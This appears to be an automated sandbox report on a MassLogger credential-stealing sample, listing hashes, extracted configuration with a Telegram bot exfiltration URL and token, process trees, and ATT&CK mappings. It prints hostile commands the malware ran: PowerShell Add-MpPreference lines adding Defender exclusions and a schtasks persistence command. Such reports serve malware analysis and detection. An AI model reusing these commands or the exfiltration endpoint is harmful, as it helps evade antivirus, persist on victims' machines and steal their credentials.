Analysis
- max time kernel
129s - max time network
131s - platform
windows11-21h2_x64 - resource
win11-20250410-en - resource tags
arch:x64arch:x86image:win11-20250410-enlocale:en-usos:windows11-21h2-x64system - submitted
25/04/2025, 14:04
Static task
static1
Behavioral task
behavioral1
Sample
SPECIFICATIONS.exe
Resource
win10v2004-20250410-en
Behavioral task
behavioral2
Sample
SPECIFICATIONS.exe
Resource
win11-20250410-en
General
- Target SPECIFICATIONS.exe
- Size 730KB
- Sample250425-rdccgstyax
- SHA256 861b9d85f642873dd0f034f6f946e3791c4cf94c6687527320d26a2f217fa04c
- MD5 d0204703673b11521c47cc743f7bb392
- SHA1 11c66e3cc6b73eca999eb2dcd9bf2700bb4a9576
- SHA512 9142e05eda00d518d71f60c4b54bf3aaad381fe6d5feae7af2882f6542c63e873188161c34fcf17f30cffe5c71c752b0be68e378e2981f19cc7e0bf0ac9069a8
- SSDEEP 12288:u+AvuDU+cYHi0cpE3zIBBaVNxza4cUpgOP8VBfTjm33b3+e6xsInPWBXLpuUBFpF:u+AvuDU+cYC0cpE3zIBofxe4cUp36Bj0
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Extracted
-
masslogger
-
https://api.telegram.org/bot7941278366:AAEaNerdR3ysFFfS8NCqw2mTvSoiCyVYGqE/sendMessage?chat_id=6623091671
-
exfiltration_mode
#TGEnabled
-
expire_time_date
2025-06-05
-
ssl_slate
False
Signatures
- MassLogger
Masslogger is a .NET stealer targeting passwords from browsers, email and cryptocurrency clients.
- Masslogger family
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 3496 powershell.exe 3656 powershell.exe - Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-649025904-2769175349-3954215257-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 SPECIFICATIONS.exe Key opened \REGISTRY\USER\S-1-5-21-649025904-2769175349-3954215257-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 SPECIFICATIONS.exe Key opened \REGISTRY\USER\S-1-5-21-649025904-2769175349-3954215257-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 SPECIFICATIONS.exe - Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 1 checkip.dyndns.org 1 reallyfreegeoip.org 4 reallyfreegeoip.org - Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 4940 set thread context of 4980 4940 SPECIFICATIONS.exe 86 - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language SPECIFICATIONS.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language SPECIFICATIONS.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1440 schtasks.exe - Suspicious behavior: EnumeratesProcesses 12 IoCs
pid Process 4940 SPECIFICATIONS.exe 4940 SPECIFICATIONS.exe 4940 SPECIFICATIONS.exe 4940 SPECIFICATIONS.exe 4940 SPECIFICATIONS.exe 4940 SPECIFICATIONS.exe 3496 powershell.exe 3656 powershell.exe 4940 SPECIFICATIONS.exe 3496 powershell.exe 3656 powershell.exe 4980 SPECIFICATIONS.exe - Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 4940 SPECIFICATIONS.exe Token: SeDebugPrivilege 3496 powershell.exe Token: SeDebugPrivilege 3656 powershell.exe Token: SeDebugPrivilege 4980 SPECIFICATIONS.exe - Suspicious use of WriteProcessMemory 17 IoCs
description pid Process procid_target PID 4940 wrote to memory of 3496 4940 SPECIFICATIONS.exe 80 PID 4940 wrote to memory of 3496 4940 SPECIFICATIONS.exe 80 PID 4940 wrote to memory of 3496 4940 SPECIFICATIONS.exe 80 PID 4940 wrote to memory of 3656 4940 SPECIFICATIONS.exe 82 PID 4940 wrote to memory of 3656 4940 SPECIFICATIONS.exe 82 PID 4940 wrote to memory of 3656 4940 SPECIFICATIONS.exe 82 PID 4940 wrote to memory of 1440 4940 SPECIFICATIONS.exe 83 PID 4940 wrote to memory of 1440 4940 SPECIFICATIONS.exe 83 PID 4940 wrote to memory of 1440 4940 SPECIFICATIONS.exe 83 PID 4940 wrote to memory of 4980 4940 SPECIFICATIONS.exe 86 PID 4940 wrote to memory of 4980 4940 SPECIFICATIONS.exe 86 PID 4940 wrote to memory of 4980 4940 SPECIFICATIONS.exe 86 PID 4940 wrote to memory of 4980 4940 SPECIFICATIONS.exe 86 PID 4940 wrote to memory of 4980 4940 SPECIFICATIONS.exe 86 PID 4940 wrote to memory of 4980 4940 SPECIFICATIONS.exe 86 PID 4940 wrote to memory of 4980 4940 SPECIFICATIONS.exe 86 PID 4940 wrote to memory of 4980 4940 SPECIFICATIONS.exe 86 - outlook_office_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-649025904-2769175349-3954215257-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 SPECIFICATIONS.exe - outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-649025904-2769175349-3954215257-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 SPECIFICATIONS.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\SPECIFICATIONS.exe"C:\Users\Admin\AppData\Local\Temp\SPECIFICATIONS.exe"1⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4940 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\SPECIFICATIONS.exe"2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3496
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\QIbeCpV.exe"2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3656
-
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\QIbeCpV" /XML "C:\Users\Admin\AppData\Local\Temp\tmpDCD3.tmp"2⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:1440
-
-
C:\Users\Admin\AppData\Local\Temp\SPECIFICATIONS.exe"C:\Users\Admin\AppData\Local\Temp\SPECIFICATIONS.exe"2⤵
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:4980
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
2Credentials In Files
2Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 9600b3fdf0565ccb49e21656aa4b24d7c18f776bfd04d9ee984b134707550f02
- MD5 d0c46cad6c0778401e21910bd6b56b70
- SHA1 7be418951ea96326aca445b8dfe449b2bfa0dca6
- SHA512 057531b468f7fbbb2175a696a8aab274dec0d17d9f71df309edcff35e064f3378050066a3df47ccd03048fac461594ec75e3d4fe64f9dd79949d129f51e02949
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 18KB
- SHA256 33a971a39e1ab375871e8268dbafcf2200628deee1af837559c94c80cad86106
- MD5 f4a0a49d48196c04d93ec9f80b8093a2
- SHA1 d012cf1693c577e2f995f6a772b6f745cdabfcc5
- SHA512 0dea61eed5f25cc7e930e62bd8037c3b892ec8d351203fd0d9d9de21cc10e91f675e0bf65ec93a99f1a192f4fe9c1c77ee00900fb229dea7432013a2a1fdb5c8
- SSDEEP 384:iTHhsSS1o7oveJ6FRHEME2HnnNzjs2xtgDNSA5949EoX0iFZX:NSS6IO6RPEGNzj7xtgRSC49EoX0E
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vpi3mosw.qvn.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\tmpDCD3.tmp
- Size 1KB
- SHA256 c6b1843145171968bb8a12581bcc78613e8e8007d4663db4d48f96e1be76d30d
- MD5 90678314a0c02eb0ccb2f521ba525e3b
- SHA1 1d394e65f663ab0730b39de5434ffe8f4f0bee95
- SHA512 00408c736bd6f19ed26679675bb229ed2b2c886880d85ec61aaa4ddf33a4950c3a925b3dbd0e72433c82a9b511adff628fe77cdac2da83367ff9402d0a69bfb0
- MD5 SHA1 SHA512